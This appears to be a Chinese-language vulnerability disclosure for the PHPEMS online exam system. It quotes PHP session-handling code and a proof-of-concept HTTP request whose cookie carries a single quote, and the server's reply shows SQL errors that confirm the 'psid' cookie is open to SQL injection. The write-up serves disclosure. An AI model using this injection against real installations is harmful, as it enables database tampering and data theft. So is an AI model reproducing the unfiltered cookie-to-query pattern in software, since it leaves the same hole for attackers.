PHPEMS（PHP Exam Management System）在线模拟考试系统基于PHP+Mysql开发，主要用于搭建模拟考试平台，支持多种题型和展现方式，是国内首款支持题冒题和自动评分与教师评分相结合的PHP开源在线模拟考试系统
使用本系统，您可以快速搭建用于模拟考试的网站平台，实现无纸化考试、真实考场模拟、知识强化练习等功能。可满足培训机构、学校、公司等机构各种考试需求。
| 代码如下 | 复制代码 |
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public function __construct(&$G) $this->file = $_FILES; } .......... |
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如果用户开启了GPC，程序员还特意使用stripSlashes()给关掉。
| 代码如下 | 复制代码 |
| public function getSessionId() { $sessionid = $this->ev->getCookie('psid'); if(!$sessionid) { if($this->ev->getCookie('PHPSESSID',1)) { $this->ev->setCookie('psid',$this->ev->getCookie('PHPSESSID',1),3600*24); $sessionid = $this->ev->getCookie('PHPSESSID',1); } else { $sid = md5($this->ev->getClientIp().'/'.$_SERVER['HTTP_X_FORWARDED_FOR'].'/'.$_SERVER['REMOTE_ADDR'].':'.$_SERVER['REMOTE_PORT'].':'.$_SERVER['HTTP_USER_AGENT'].':'.date('Y-m-d')); $this->ev->setCookie('psid',$sid,3600*24); $sessionid = $sid; } $data = array('session',array('sessionid'=>$sessionid,'sessionuserid'=>0,'sessionip'=>$this->ev->getClientIp())); $sql = $this->sql->makeReplace($data); $this->db->exec($sql); } $this->sessionid = $sessionid; return $this->sessionid; } 获得psid参数并起保存在$sessionid里 //修改考试会话内容 //参数：会话内容数组 //返回值：true public function modifyExamSession($args) { $sessionid = $this->session->getSessionId(); $data = array('examsession',$args,"examsessionid = '{$sessionid}'"); $sql = $this->sql->makeUpdate($data); $this->db->exec($sql); return true; } |
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任意找了一个进入数据库的地方。
从上面过程看到，没有做任何过滤就进入数据库了。
Request:
POST /index.php?exam-app-basics-openit HTTP/1.1
Host: phpems.0day5.com
Proxy-Connection: keep-alive
Content-Length: 79
Origin: http://phpems.0day5.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://phpems.0day5.com/index.php?exam-app-basics-detail&basicid=4
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: exam_psid=c6f1b7acd452e6d72a3ede0f501a9211'; exam_currentuser=%25B4%2585%258B%2585%25CE%25BE%258D%257C%2586%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25C8%25BE%25B8%25BD%25BC%25AFu%2586%25C6%2585%2585%2585u%2581%258Bm%258E%25BE%258D%257C%2588%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25C3%25AC%25C6%25BE%25CA%25BA%25C5%25AFu%2586%25C6%2585%2586%257D%258Dm%258C%2581%25B8%2582%258C%257D%2584%2583%258C%2581%2588%25B0%25B5%2582%2585%25AE%258C%257D%25B4%2580%2587%2584%25B7%25AF%2588%25AC%2586%257E%2583%257C%2584%257Du%2586%25C6%2585%258C%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25BC%25BBu%2586%25C6%2585%258C%2585u%257C%2585%2582%2581%257B%2581%257B%2581%257Cu%2586%25C6%2585%2584%257F%258Dm%25C6%25B0%25C6%25BE%25BC%25BA%25C1%25B2%25C5%25BA%25C8%25BB%25BC%25AFu%2586%25C6%2585%2584%2585u%2583u%2586%25C6%2585%2584%2581%258Dm%25C6%25B0%25C6%25BE%25BC%25BA%25C1%25B7%25C2%25B2%25BC%25B9%25C7%25B4%25C0%25B0u%2586%25BC%2585%2584%257E%258B%2584%2588%257C%2589%2582%258B%257E%258E%25BE%258D%257C%2588%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25C8%25BE%25B8%25BD%25C1%25AC%25C0%25B0u%2586%25C6%2585%2589%2585u%257C%2584%257C%2584%257C%2584m%258E%25BE%258D%257C%2589%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25C7%25B4%25C0%25B0%25BF%25B4%25C0%25B4%25C7m%258E%25B4%258D%257C%2586%2583%258C%2580%2584%2581%258A%2583%2586%2586%25C6%2585%258C%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25BC%25AFu%2586%25C6%2585%2586%257D%258Dm%25B6%2581%25B9%257C%25B5%2582%25B4%25AE%25B7%257F%2588%257D%25B8%2581%25B7%2582%2585%25AC%2586%25B0%25B7%25B0%2583%25B1%2588%257B%2584%25AC%258C%257D%2584%257Cu%2586%25D0; CNZZDATA5243664=cnzz_eid%3D2105242747-1389515449-%26ntime%3D1389515449%26cnzz_a%3D3%26sin%3Dnone%26ltime%3D1389515448225
Response:
HTTP/1.1 200 OK
Date: Sun, 12 Jan 2014 09:32:14 GMT
Server: Apache/2.4.7 (Win32) OpenSSL/0.9.8y PHP/5.4.22
X-Powered-By: PHP/5.4.22
P3P: CP=CAO PSA OUR
Content-Length: 606
Content-Type: text/html; charset=utf-8
ERRO:SELECT * FROM x2_session AS session WHERE sessionid = 'c6f1b7acd452e6d72a3ede0f501a9211'' LIMIT 0,100:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''c6f1b7acd452e6d72a3ede0f501a9211'' LIMIT 0,100' at line 1ERRO:UPDATE x2_session AS session SET `sessionlasttime` = '1389519134' WHERE sessionid = 'c6f1b7acd452e6d72a3ede0f501a9211'':You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''c6f1b7acd452e6d72a3ede0f501a9211''' at line 1
漏洞证明。
